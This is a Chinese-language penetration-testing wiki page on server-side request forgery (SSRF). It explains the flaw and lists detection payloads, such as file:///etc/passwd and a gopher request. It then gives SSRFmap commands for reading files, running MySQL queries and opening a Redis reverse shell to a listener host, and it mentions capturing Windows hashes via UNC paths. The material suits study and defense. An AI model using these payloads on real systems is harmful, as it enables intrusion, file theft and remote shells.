跳到主要内容

SSRF

漏洞介绍

Server-Side Request Forgery(SSRF,服务端请求伪造)是指攻击者控制应用服务器发起的任意 HTTP/网络请求,从而让服务器替攻击者访问内部服务、云元数据、未公开的 API、或第三方资源。SSRF 常被用于内网探测、访问受限管理接口、窃取敏感元数据凭证或作为更复杂攻击(如横向移动、持久化)的跳板。

基本原理

应用在后端代为发起请求(例如:URL 预览、图片抓取、Webhook 转发、服务器端代理、后端集成第三方 API 等)。如果应用把用户提供的 URL/主机名当成目标直接请求,而没有正确验证或限制,攻击者就能控制服务器去请求任意地址。

检测方法

通过给参数传递一些伪协议来观察是否能够得到一些回应信息,若有回应返回,则很有可能会存在可以利用的伪协议。可用伪协议如下:

  • http://:可读取一些本机或其它 Web 服务器的 HTTP 资源。例如:http://127.0.0.1/index.html
  • file://:可读取一些本地文件资源。例如:file:///etc/passwd
  • gopher://:理论上可与任何服务程序进行数据交互。例如:gopher://127.0.0.1:80/_GET / HTTP/1.0%0A%0A

利用方法

方法 1:对 SSRF 漏洞的利用一般只是借助伪协议 file 进行 文件读取

方法 2:如果目标机器存在 mysql、postgres 数据库且数据库连接密码为空,则可以借助 SSRFmap 工具直接对其数据库进行 SQL 命令的执行。

方法 3:如果目标机器存在 redis、fastcgi 功能的话,则有可能直接获得目标机器的反向 Shell。

方法 4:如果目标是 Windows 系统,则可以通过 UNC 路径去捕获当前用户的密码哈希,以进行离线破解。

#(1)文件读取
ssrfmap.py -r request.txt -p url -m readfiles --rfiles /etc/passwd

#(2)SQL 命令执行【gopher 链接转换】
ssrfmap.py -r request.txt -p url -m mysql
...
Give MySQL username: root
Give MySQL query to execute (reverse/dios or any SQL statement): show databases;
[INFO]:Generated payload : gopher://127.0.0.1:3306/_%a3%00%00%...
...

#(3)反向 Shell 生成【注:redis、fastcgi 用法一样】
ssrfmap.py -r request.txt -p url -m redis --lhost=1.1.1.1 --lport=4242 -l 4242

注意:(1)request.txt 是指一个 HTTP 的 Raw 请求文件,url 是指存在 SSRF 漏洞的变量参数。(2)如果 URL 是 https 的链接,则需要为 ssrfmap.py 附加 --ssl 参数,以跳过证书验证。

杂七杂八

  1. 参考文章:HackTricks
  2. 基于 SSRF 的代理工具:ssrf_proxy